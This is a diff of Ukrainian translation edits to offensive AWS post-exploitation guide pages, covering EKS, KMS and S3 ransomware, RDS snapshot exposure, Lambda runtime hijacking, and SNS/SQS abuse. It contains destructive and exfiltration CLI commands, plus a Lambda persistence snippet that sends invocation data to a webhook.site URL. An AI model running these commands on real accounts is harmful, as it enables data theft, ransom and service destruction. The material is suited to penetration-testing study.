|
||||
> [!WARNING]
|
||||
> Тому будь-хто з **доступом на запис** до конфігураційної карти **`aws-auth`** зможе **компрометувати весь кластер**.
|
||||
|
||||
Для отримання додаткової інформації про те, як **надавати додаткові привілеї ролям та користувачам IAM** в **одному або різних облікових записах** та як **зловживати** цим, [**перевірте цю сторінку**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
Для отримання додаткової інформації про те, як **надати додаткові привілеї IAM ролям і користувачам** в **одному або різних облікових записах** і як **зловживати** цим, щоб [**перевірити privesc, перегляньте цю сторінку**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Також перегляньте [**цей чудовий**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **пост, щоб дізнатися, як працює аутентифікація IAM -> Kubernetes**.
|
||||
Перегляньте також [**цей чудовий**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **пост, щоб дізнатися, як працює аутентифікація IAM -> Kubernetes**.
|
||||
|
||||
### Від Kubernetes до AWS
|
||||
|
||||
Можливо дозволити **аутентифікацію OpenID для облікового запису служби kubernetes**, щоб дозволити їм приймати ролі в AWS. Дізнайтеся, як [**це працює на цій сторінці**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
Можливо дозволити **OpenID аутентифікацію для облікового запису служби kubernetes**, щоб дозволити їм приймати ролі в AWS. Дізнайтеся, як [**це працює на цій сторінці**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### ОТРИМАТИ кінцеву точку Api Server з JWT токена
|
||||
### ОТРИМАТИ Api Server Endpoint з JWT Токена
|
||||
|
||||
Декодувавши JWT токен, ми отримуємо ідентифікатор кластера та також регіон.  Знаючи, що стандартний формат для URL EKS є
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Не знайшов жодної документації, яка б пояснювала критерії для 'двох символів' та 'числа'. Але проводячи деякі тести від свого імені, я бачу, що ці символи повторюються:
|
||||
Не знайшов жодної документації, яка б пояснювала критерії для 'двох символів' та 'числа'. Але, проводячи деякі тести, я бачу, що ці символи повторюються:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
@@ -129,11 +129,11 @@ wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws
|
||||
|
||||
Зверніть увагу, що **кластер EKS може мати увімкнені журнали**, які зафіксують цей доступ (хоча за замовчуванням вони вимкнені).
|
||||
|
||||
### Вимагання EKS?
|
||||
### Вимагач EKS?
|
||||
|
||||
За замовчуванням **користувач або роль, яка створила** кластер, **ЗАВЖДИ матиме адміністративні привілеї** над кластером. І це єдиний "безпечний" доступ, який AWS матиме до кластеру Kubernetes.
|
||||
|
||||
Отже, якщо **зловмисник компрометує кластер, використовуючи fargate** і **видаляє всіх інших адміністраторів** та **видаляє AWS користувача/роль, яка створила** кластер, ~~зловмисник міг би **вимагати кластер**~~**.
|
||||
Отже, якщо **зловмисник компрометує кластер, використовуючи fargate** і **видаляє всіх інших адміністраторів** та **видаляє користувача/роль AWS, яка створила** кластер, ~~зловмисник міг би **вимагати кластер**~~**.
|
||||
|
||||
> [!TIP]
|
||||
> Зверніть увагу, що якщо кластер використовує **EC2 VMs**, може бути можливим отримати адміністративні привілеї з **Node** і відновити кластер.
|
||||
|
||||
+3
-3
@@ -19,7 +19,7 @@
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
|
||||
```
|
||||
**Потенційний вплив**: Порушення розгортання додатків та потенційна втрата версій додатків.
|
||||
**Потенційний вплив**: Порушення розгортання додатка та потенційна втрата версій додатка.
|
||||
|
||||
### `elasticbeanstalk:TerminateEnvironment`
|
||||
|
||||
@@ -41,7 +41,7 @@ aws elasticbeanstalk terminate-environment --environment-name my-existing-env
|
||||
```bash
|
||||
aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
|
||||
```
|
||||
**Потенційний вплив**: Втрата ресурсів програми, конфігурацій, середовищ та версій програми, що призводить до порушення роботи сервісу та потенційної втрати даних.
|
||||
**Потенційний вплив**: Втрата ресурсів програми, конфігурацій, середовищ та версій програми, що призводить до перерви в обслуговуванні та потенційної втрати даних.
|
||||
|
||||
### `elasticbeanstalk:SwapEnvironmentCNAMEs`
|
||||
|
||||
@@ -52,7 +52,7 @@ aws elasticbeanstalk delete-application --application-name my-app --terminate-en
|
||||
```bash
|
||||
aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
|
||||
```
|
||||
**Потенційний вплив**: Надання неправильної версії програми користувачам або виклик небажаної поведінки в програмі через змінені середовища.
|
||||
**Потенційний вплив**: Надання неправильної версії програми користувачам або виклик ненавмисної поведінки в програмі через змінені середовища.
|
||||
|
||||
### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
|
||||
|
||||
|
||||
+7
-7
@@ -12,13 +12,13 @@
|
||||
|
||||
## Проблема заплутаного заступника
|
||||
|
||||
Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **ролі** у вашому обліковому записі, ви, ймовірно, матимете **0 видимості** щодо **того, хто саме може отримати доступ до цього зовнішнього облікового запису**. Це проблема, оскільки якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), є ймовірність, що **B також зможе отримати доступ до вашого облікового запису**.
|
||||
Якщо ви **дозволяєте зовнішньому обліковому запису (A)** отримати доступ до **ролі** у вашому обліковому записі, ви, ймовірно, матимете **0 видимості** щодо **того, хто точно може отримати доступ до цього зовнішнього облікового запису**. Це проблема, оскільки якщо інший зовнішній обліковий запис (B) може отримати доступ до зовнішнього облікового запису (A), можливо, що **B також зможе отримати доступ до вашого облікового запису**.
|
||||
|
||||
Отже, коли ви дозволяєте зовнішньому обліковому запису отримати доступ до ролі у вашому обліковому записі, ви можете вказати `ExternalId`. Це "секретний" рядок, який зовнішній обліковий запис (A) **повинен вказати**, щоб **прийняти роль у вашій організації**. Оскільки **зовнішній обліковий запис B не знає цей рядок**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**.
|
||||
Отже, коли ви дозволяєте зовнішньому обліковому запису отримати доступ до ролі у вашому обліковому записі, можливо, ви зможете вказати `ExternalId`. Це "секретний" рядок, який зовнішній обліковий запис (A) **повинен вказати**, щоб **прийняти роль у вашій організації**. Оскільки **зовнішній обліковий запис B не знає цей рядок**, навіть якщо він має доступ до A, він **не зможе отримати доступ до вашої ролі**.
|
||||
|
||||
<figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Однак зверніть увагу, що цей `ExternalId` "секрет" **не є секретом**, будь-хто, хто може **читати політику прийняття ролі IAM, зможе його побачити**. Але поки зовнішній обліковий запис A знає його, а зовнішній обліковий запис **B не знає його**, це **запобігає зловживанню B для доступу до вашої ролі**.
|
||||
Однак зверніть увагу, що цей `ExternalId` "секрет" **не є секретом**, будь-хто, хто може **читати політику прийняття ролі IAM, зможе його побачити**. Але поки зовнішній обліковий запис A знає його, а зовнішній обліковий запис **B не знає його**, це **запобігає зловживанню B для доступу до вашої ролі через A**.
|
||||
|
||||
Приклад:
|
||||
```json
|
||||
@@ -39,11 +39,11 @@
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Щоб зловмисник міг скористатися заплутаним заступником, йому потрібно буде якимось чином з'ясувати, чи можуть принципали поточного облікового запису видавати себе за ролі в інших облікових записах.
|
||||
> Щоб зловмисник міг експлуатувати заплутаного заступника, йому потрібно буде якимось чином з'ясувати, чи можуть принципали поточного облікового запису видавати себе за ролі в інших облікових записах.
|
||||
|
||||
### Несподівані довіри
|
||||
|
||||
#### Символ підстановки як принципал
|
||||
#### Символи підстановки як принципал
|
||||
```json
|
||||
{
|
||||
"Action": "sts:AssumeRole",
|
||||
@@ -73,7 +73,7 @@
|
||||
}
|
||||
}
|
||||
```
|
||||
Якщо S3 бакет вказано як принципал, оскільки S3 бакети не мають ідентифікатора облікового запису, якщо ви **видалили свій бакет, а зловмисник створив** його у своєму обліковому записі, тоді він міг би це зловживати.
|
||||
Якщо S3 бакет вказаний як принципал, оскільки S3 бакети не мають ідентифікатора облікового запису, якщо ви **видалили свій бакет, а зловмисник створив** його у своєму обліковому записі, то вони могли б це зловживати.
|
||||
|
||||
#### Не підтримується
|
||||
```json
|
||||
@@ -84,7 +84,7 @@
|
||||
"Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
|
||||
}
|
||||
```
|
||||
Звичайний спосіб уникнути проблем з Confused Deputy - це використання умови з `AWS:SourceArn` для перевірки вихідного ARN. Однак, **деякі сервіси можуть цього не підтримувати** (як CloudTrail, згідно з деякими джерелами).
|
||||
Звичайний спосіб уникнути проблем з Confused Deputy - це використання умови з `AWS:SourceArn` для перевірки вихідного ARN. Однак, **деякі сервіси можуть цього не підтримувати** (наприклад, CloudTrail згідно з деякими джерелами).
|
||||
|
||||
## References
|
||||
|
||||
|
||||
+4
-4
@@ -62,10 +62,10 @@ aws kms decrypt \
|
||||
|
||||
Атакуючий з привілейованим доступом до KMS може змінити політику KMS ключів і **надати своєму обліковому запису доступ до них**, видаливши доступ, наданий легітимному обліковому запису.
|
||||
|
||||
Тоді користувачі легітимного облікового запису не зможуть отримати доступ до будь-якої інформації будь-якої служби, яка була зашифрована цими ключами, створюючи простий, але ефективний програмний забезпечення-вимагач для облікового запису.
|
||||
Тоді користувачі легітимного облікового запису не зможуть отримати доступ до будь-якої інформації будь-якої служби, яка була зашифрована цими ключами, створюючи простий, але ефективний програмний викуп для облікового запису.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що **керовані AWS ключі не підлягають** цій атаці, лише **керовані клієнтом ключі**.
|
||||
> Зверніть увагу, що **управляючі ключі AWS не підлягають** цій атаці, тільки **управляючі ключі клієнта**.
|
||||
|
||||
> Також зверніть увагу на необхідність використання параметра **`--bypass-policy-lockout-safety-check`** (відсутність цієї опції в веб-консолі робить цю атаку можливою лише з CLI).
|
||||
```bash
|
||||
@@ -102,8 +102,8 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
|
||||
|
||||
Існує інший спосіб виконати глобальний KMS Ransomware, який включатиме наступні кроки:
|
||||
|
||||
- Створити новий **ключ з матеріалом ключа**, імпортованим зловмисником
|
||||
- **Зашифрувати старі дані** знову, зашифровані попередньою версією, новою.
|
||||
- Створити новий **ключ з імпортованим матеріалом ключа** від зловмисника
|
||||
- **Зашифрувати старі дані** знову, зашифровані попередньою версією, новим.
|
||||
- **Видалити KMS ключ**
|
||||
- Тепер лише зловмисник, який має оригінальний матеріал ключа, зможе розшифрувати зашифровані дані
|
||||
|
||||
|
||||
+1
-1
@@ -20,7 +20,7 @@ aws-warm-lambda-persistence.md
|
||||
|
||||
### Вкрасти HTTP запити інших користувачів до Lambda та запити розширень
|
||||
|
||||
Зловживаючи Lambda Layers, також можливо зловживати розширеннями та зберігатися в Lambda, але також красти та змінювати запити.
|
||||
Зловживаючи Lambda Layers, також можливо зловживати розширеннями та зберігатися в Lambda, а також красти та змінювати запити.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
|
||||
|
||||
+4
-4
@@ -12,7 +12,7 @@
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – повернути відповідь обробника для виклику
|
||||
- **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – повернути помилку виконання
|
||||
3. **bootstrap.py** має цикл, що отримує виклики з процесу init і викликає код користувача для їх обробки (**`/next`**).
|
||||
4. Нарешті, **bootstrap.py** надсилає до init **відповідь**
|
||||
4. Нарешті, **bootstrap.py** надсилає до init **відповідь**.
|
||||
|
||||
Зверніть увагу, що bootstrap завантажує код користувача як модуль, тому будь-яке виконання коду, яке виконується кодом користувача, насправді відбувається в цьому процесі.
|
||||
|
||||
@@ -24,8 +24,8 @@
|
||||
|
||||
- **Надіслати підроблений результат поточного виклику до процесу init**, щоб init думав, що процес bootstrap чекає на більше викликів.
|
||||
- Запит має бути надісланий до **`/${invoke-id}/response`**
|
||||
- invoke-id можна отримати зі стеку легітимного процесу **`bootstrap.py`**, використовуючи [**inspect**](https://docs.python.org/3/library/inspect.html) модуль python (як [пропонувалося тут](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) або просто запитуючи його знову до **`/2018-06-01/runtime/invocation/next`** (як [пропонувалося тут](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- Виконати шкідливий **`boostrap.py`**, який оброблятиме наступні виклики
|
||||
- invoke-id можна отримати зі стеку легітимного процесу **`bootstrap.py`**, використовуючи модуль [**inspect**](https://docs.python.org/3/library/inspect.html) python (як [пропонувалося тут](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) або просто запитуючи його знову до **`/2018-06-01/runtime/invocation/next`** (як [пропонувалося тут](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
|
||||
- Виконати шкідливий **`boostrap.py`**, який оброблятиме наступні виклики.
|
||||
- Для цілей прихованості можливо надіслати параметри викликів lambda до C2, контрольованого зловмисником, а потім обробляти запити як зазвичай.
|
||||
- Для цієї атаки достатньо отримати оригінальний код **`bootstrap.py`** з системи або [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), додати шкідливий код і запустити його з поточного виклику lambda.
|
||||
|
||||
@@ -52,7 +52,7 @@ os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402
|
||||
exec(new_runtime)
|
||||
EOF
|
||||
```
|
||||
Для отримання додаткової інформації перегляньте [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
|
||||
Для отримання додаткової інформації перевірте [https://github.com/carlospolop/lambda_bootstrap_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
|
||||
|
||||
## Посилання
|
||||
|
||||
|
||||
+1
-1
@@ -21,7 +21,7 @@
|
||||
|
||||
### Доступ до чутливої інформації
|
||||
|
||||
Перегляньте варіанти підвищення привілеїв Lightsail, щоб дізнатися різні способи доступу до потенційно чутливої інформації:
|
||||
Перегляньте варіанти privesc Lightsail, щоб дізнатися різні способи доступу до потенційно чутливої інформації:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-lightsail-privesc.md
|
||||
|
||||
+2
-2
@@ -1,10 +1,10 @@
|
||||
# AWS - Organizations Post Exploitation
|
||||
# AWS - Організації Після Експлуатації
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Організації
|
||||
|
||||
Для отримання додаткової інформації про AWS Organizations дивіться:
|
||||
Для отримання додаткової інформації про AWS Organizations перегляньте:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-organizations-enum.md
|
||||
|
||||
+4
-4
@@ -12,7 +12,7 @@
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Якщо у зловмисника достатньо прав, він може зробити **БД загальнодоступною**, створивши знімок БД, а потім загальнодоступну БД з цього знімка.
|
||||
Якщо атакуючий має достатні права, він може зробити **БД загальнодоступною**, створивши знімок БД, а потім загальнодоступну БД з цього знімка.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -40,7 +40,7 @@ aws rds modify-db-instance \
|
||||
```
|
||||
### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
|
||||
|
||||
Зловмисник з цими дозволами міг би **створити знімок БД** і зробити його **публічно** **доступним**. Потім він міг би просто створити у своєму обліковому записі БД з цього знімка.
|
||||
Зловмисник з цими правами міг би **створити знімок бази даних** і зробити його **доступним** **публічно**. Потім він міг би просто створити у своєму обліковому записі базу даних з цього знімка.
|
||||
|
||||
Якщо зловмисник **не має `rds:CreateDBSnapshot`**, він все ще міг би зробити **інші** створені знімки **публічними**.
|
||||
```bash
|
||||
@@ -57,7 +57,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
**Потенційний вплив**: Доступ до чутливої інформації або несанкціоновані дії з використанням вкрадених облікових даних.
|
||||
**Потенційний вплив**: Доступ до чутливої інформації або несанкціоновані дії з використанням злитих облікових даних.
|
||||
|
||||
### `rds:DeleteDBInstance`
|
||||
|
||||
@@ -73,7 +73,7 @@ aws rds delete-db-instance --db-instance-identifier target-instance --skip-final
|
||||
> [!NOTE]
|
||||
> TODO: Test
|
||||
|
||||
Зловмисник з цим дозволом може **експортувати знімок RDS екземпляра до S3 кошика**. Якщо зловмисник контролює цільовий S3 кошик, він може потенційно отримати доступ до чутливих даних у експортованому знімку.
|
||||
Зловмисник з цим дозволом може **експортувати знімок екземпляра RDS до S3 кошика**. Якщо зловмисник контролює цільовий S3 кошик, він може потенційно отримати доступ до чутливих даних у експортованому знімку.
|
||||
```bash
|
||||
aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
|
||||
```
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## S3
|
||||
|
||||
Для отримання додаткової інформації перегляньте:
|
||||
Для отримання додаткової інформації перевірте:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### Чутлива інформація
|
||||
|
||||
Іноді ви зможете знайти чутливу інформацію у доступних бакетах. Наприклад, секрети стану terraform.
|
||||
Іноді ви зможете знайти чутливу інформацію в читабельному вигляді в бакетах. Наприклад, секрети стану terraform.
|
||||
|
||||
### Півтування
|
||||
|
||||
@@ -21,18 +21,18 @@
|
||||
|
||||
### S3 Вимагач
|
||||
|
||||
У цьому сценарії **зловмисник створює ключ KMS (Служба управління ключами) у своєму власному обліковому записі AWS** або в іншому скомпрометованому обліковому записі. Потім він робить цей **ключ доступним для всіх у світі**, дозволяючи будь-якому користувачу, ролі або обліковому запису AWS шифрувати об'єкти, використовуючи цей ключ. Однак об'єкти не можуть бути розшифровані.
|
||||
У цьому сценарії **зловмисник створює ключ KMS (Служба управління ключами) у своєму власному обліковому записі AWS** або в іншому скомпрометованому обліковому записі. Потім він робить цей **ключ доступним для будь-кого у світі**, дозволяючи будь-якому користувачу, ролі або обліковому запису AWS шифрувати об'єкти, використовуючи цей ключ. Однак об'єкти не можуть бути розшифровані.
|
||||
|
||||
Зловмисник визначає цільовий **бакет S3 і отримує доступ на рівні запису** до нього, використовуючи різні методи. Це може бути через погану конфігурацію бакета, яка робить його публічно доступним, або зловмисник отримує доступ до самого середовища AWS. Зазвичай зловмисник націлюється на бакети, які містять чутливу інформацію, таку як особисто ідентифікована інформація (PII), захищена медична інформація (PHI), журнали, резервні копії тощо.
|
||||
Зловмисник визначає цільовий **бакет S3 і отримує доступ на рівні запису** до нього, використовуючи різні методи. Це може бути через погану конфігурацію бакета, яка робить його публічно доступним, або зловмисник отримує доступ до середовища AWS. Зазвичай зловмисники націлюються на бакети, які містять чутливу інформацію, таку як особисто ідентифікована інформація (PII), захищена медична інформація (PHI), журнали, резервні копії тощо.
|
||||
|
||||
Щоб визначити, чи можна націлити бакет для вимагання, зловмисник перевіряє його конфігурацію. Це включає перевірку, чи **увімкнено версіонування об'єктів S3** і чи **увімкнено видалення з багатофакторною аутентифікацією (MFA delete)**. Якщо версіонування об'єктів не увімкнено, зловмисник може продовжити. Якщо версіонування об'єктів увімкнено, але видалення MFA вимкнено, зловмисник може **вимкнути версіонування об'єктів**. Якщо і версіонування об'єктів, і видалення MFA увімкнені, зловмиснику стає важче вимагати цей конкретний бакет.
|
||||
Щоб визначити, чи можна націлити бакет для вимагання, зловмисник перевіряє його конфігурацію. Це включає перевірку, чи **увімкнено версіонування об'єктів S3** і чи **увімкнено видалення з багатофакторною аутентифікацією (MFA delete)**. Якщо версіонування об'єктів не увімкнено, зловмисник може продовжити. Якщо версіонування об'єктів увімкнено, але MFA delete вимкнено, зловмисник може **вимкнути версіонування об'єктів**. Якщо і версіонування об'єктів, і MFA delete увімкнені, зловмиснику стає важче вимагати викуп за цей конкретний бакет.
|
||||
|
||||
Використовуючи API AWS, зловмисник **замінює кожен об'єкт у бакеті зашифрованою копією, використовуючи свій ключ KMS**. Це ефективно шифрує дані в бакеті, роблячи їх недоступними без ключа.
|
||||
|
||||
Щоб додати додатковий тиск, зловмисник планує видалення ключа KMS, використаного в атаці. Це дає цілі 7 днів для відновлення своїх даних до того, як ключ буде видалено, і дані стануть назавжди втраченими.
|
||||
Щоб додати додатковий тиск, зловмисник планує видалення ключа KMS, використаного в атаці. Це дає цілі 7 днів для відновлення своїх даних до того, як ключ буде видалено, і дані стануть безповоротно втраченими.
|
||||
|
||||
Нарешті, зловмисник може завантажити фінальний файл, зазвичай названий "ransom-note.txt", який містить інструкції для цілі про те, як відновити свої файли. Цей файл завантажується без шифрування, ймовірно, щоб привернути увагу цілі та зробити їх обізнаними про атаку-вимагач.
|
||||
|
||||
**Для отримання додаткової інформації** [**перегляньте оригінальне дослідження**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
**Для отримання додаткової інформації** [**перевірте оригінальне дослідження**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+3
-3
@@ -10,11 +10,11 @@
|
||||
../aws-services/aws-secrets-manager-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Read Secrets
|
||||
### Читання секретів
|
||||
|
||||
**Секрети самі по собі є чутливою інформацією**, [перегляньте сторінку privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md), щоб дізнатися, як їх читати.
|
||||
**Самі секрети є чутливою інформацією**, [перегляньте сторінку privesc](../aws-privilege-escalation/aws-secrets-manager-privesc.md), щоб дізнатися, як їх читати.
|
||||
|
||||
### DoS Change Secret Value
|
||||
### DoS Зміна значення секрету
|
||||
|
||||
Змінивши значення секрету, ви можете **DoS усю систему, яка залежить від цього значення.**
|
||||
|
||||
|
||||
+4
-8
@@ -12,7 +12,7 @@
|
||||
|
||||
### `ses:SendEmail`
|
||||
|
||||
Надіслати електронний лист.
|
||||
Відправити електронний лист.
|
||||
```bash
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
@@ -21,7 +21,7 @@ aws sesv2 send-email --from sender@example.com --destination file://emails.json
|
||||
|
||||
### `ses:SendRawEmail`
|
||||
|
||||
Відправити електронний лист.
|
||||
Надіслати електронний лист.
|
||||
```bash
|
||||
aws ses send-raw-email --raw-message file://message.json
|
||||
```
|
||||
@@ -31,15 +31,13 @@ aws ses send-raw-email --raw-message file://message.json
|
||||
```bash
|
||||
aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
Still to test.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
Надіслати електронний лист на кілька адрес
|
||||
```bash
|
||||
aws ses send-bulk-templated-email --source <value> --template <value>
|
||||
```
|
||||
Still to test.
|
||||
Ще потрібно протестувати.
|
||||
|
||||
### `ses:SendBulkEmail`
|
||||
|
||||
@@ -49,12 +47,10 @@ aws sesv2 send-bulk-email --default-content <value> --bulk-email-entries <value>
|
||||
```
|
||||
### `ses:SendBounce`
|
||||
|
||||
Відправити **повернуте електронне повідомлення** на отримане електронне повідомлення (вказуючи, що електронне повідомлення не вдалося отримати). Це можна зробити **протягом 24 годин після отримання** електронного повідомлення.
|
||||
Відправити **повернуте повідомлення** на отримане електронне повідомлення (вказуючи, що електронне повідомлення не може бути отримано). Це можна зробити **протягом 24 годин після отримання** електронного повідомлення.
|
||||
```bash
|
||||
aws ses send-bounce --original-message-id <value> --bounce-sender <value> --bounced-recipient-info-list <value>
|
||||
```
|
||||
Still to test.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
Це надішле налаштований лист для підтвердження. Вам можуть знадобитися дозволи також для створення шаблону листа.
|
||||
|
||||
+4
-4
@@ -12,7 +12,7 @@
|
||||
|
||||
### Порушити Повідомлення
|
||||
|
||||
У кількох випадках теми SNS використовуються для надсилання повідомлень на платформи, які моніторяться (електронна пошта, повідомлення в Slack...). Якщо зловмисник запобігає надсиланню повідомлень, які сповіщають про його присутність у хмарі, він може залишитися непоміченим.
|
||||
У кількох випадках теми SNS використовуються для надсилання повідомлень на платформи, які моніторяться (електронні листи, повідомлення в slack...). Якщо зловмисник запобігає надсиланню повідомлень, які сповіщають про його присутність у хмарі, він може залишитися непоміченим.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
@@ -24,7 +24,7 @@ aws sns delete-topic --topic-arn <value>
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
Зловмисник може надіслати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси.
|
||||
Зловмисник може надіслати шкідливі або небажані повідомлення до теми SNS, що може призвести до пошкодження даних, викликати ненавмисні дії або виснажити ресурси.
|
||||
```bash
|
||||
aws sns publish --topic-arn <value> --message <value>
|
||||
```
|
||||
@@ -45,11 +45,11 @@ aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attr
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Потенційний вплив**: Несанкціонований доступ до повідомлень, порушення роботи для додатків, що залежать від ураженої теми.
|
||||
**Потенційний вплив**: Неавторизований доступ до повідомлень, порушення роботи для додатків, що залежать від ураженої теми.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
|
||||
Зловмисник може надати несанкціонованим користувачам або сервісам доступ до теми SNS або відкликати дозволи для законних користувачів, що призведе до порушень у нормальному функціонуванні додатків, які залежать від теми.
|
||||
Зловмисник може надати неавторизованим користувачам або сервісам доступ до теми SNS або відкликати дозволи для законних користувачів, що призведе до порушень у нормальному функціонуванні додатків, які залежать від теми.
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
aws sns remove-permission --topic-arn <value> --label <value>
|
||||
|
||||
+6
-6
@@ -12,26 +12,26 @@
|
||||
|
||||
### `sqs:SendMessage` , `sqs:SendMessageBatch`
|
||||
|
||||
Зловмисник може надсилати шкідливі або небажані повідомлення до черги SQS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси.
|
||||
Зловмисник може надіслати шкідливі або небажані повідомлення до черги SQS, що може призвести до пошкодження даних, викликати непередбачені дії або виснажити ресурси.
|
||||
```bash
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Потенційний вплив**: Використання вразливостей, корупція даних, ненавмисні дії або виснаження ресурсів.
|
||||
**Потенційний вплив**: Експлуатація вразливостей, корупція даних, ненавмисні дії або виснаження ресурсів.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що призводить до втрати повідомлень, корупції даних або збоїв у сервісах, які покладаються на ці повідомлення.
|
||||
Зловмисник може отримувати, видаляти або змінювати видимість повідомлень у черзі SQS, що може призвести до втрати повідомлень, корупції даних або збоїв у сервісах, які покладаються на ці повідомлення.
|
||||
```bash
|
||||
aws sqs receive-message --queue-url <value>
|
||||
aws sqs delete-message --queue-url <value> --receipt-handle <value>
|
||||
aws sqs change-message-visibility --queue-url <value> --receipt-handle <value> --visibility-timeout <value>
|
||||
```
|
||||
**Потенційний вплив**: Викрадення чутливої інформації, втрата повідомлень, пошкодження даних та порушення роботи додатків, що залежать від уражених повідомлень.
|
||||
**Потенційний вплив**: Викрадення чутливої інформації, втрата повідомлень, пошкодження даних та порушення роботи для додатків, що залежать від уражених повідомлень.
|
||||
|
||||
### `sqs:DeleteQueue`
|
||||
|
||||
Зловмисник може видалити цілу чергу SQS, що призведе до втрати повідомлень та вплине на додатки, які залежать від черги.
|
||||
Зловмисник може видалити цілу чергу SQS, що призведе до втрати повідомлень і вплине на додатки, які залежать від черги.
|
||||
```arduino
|
||||
Copy codeaws sqs delete-queue --queue-url <value>
|
||||
```
|
||||
@@ -68,6 +68,6 @@ aws sqs untag-queue --queue-url <value> --tag-keys <key>
|
||||
```arduino
|
||||
arduinoCopy codeaws sqs remove-permission --queue-url <value> --label <value>
|
||||
```
|
||||
**Потенційний вплив**: Порушення нормального функціонування додатків, що залежать від черги, через несанкціоноване видалення дозволів.
|
||||
**Потенційний вплив**: Порушення нормального функціонування додатків, що покладаються на чергу, через несанкціоноване видалення дозволів.
|
||||
|
||||
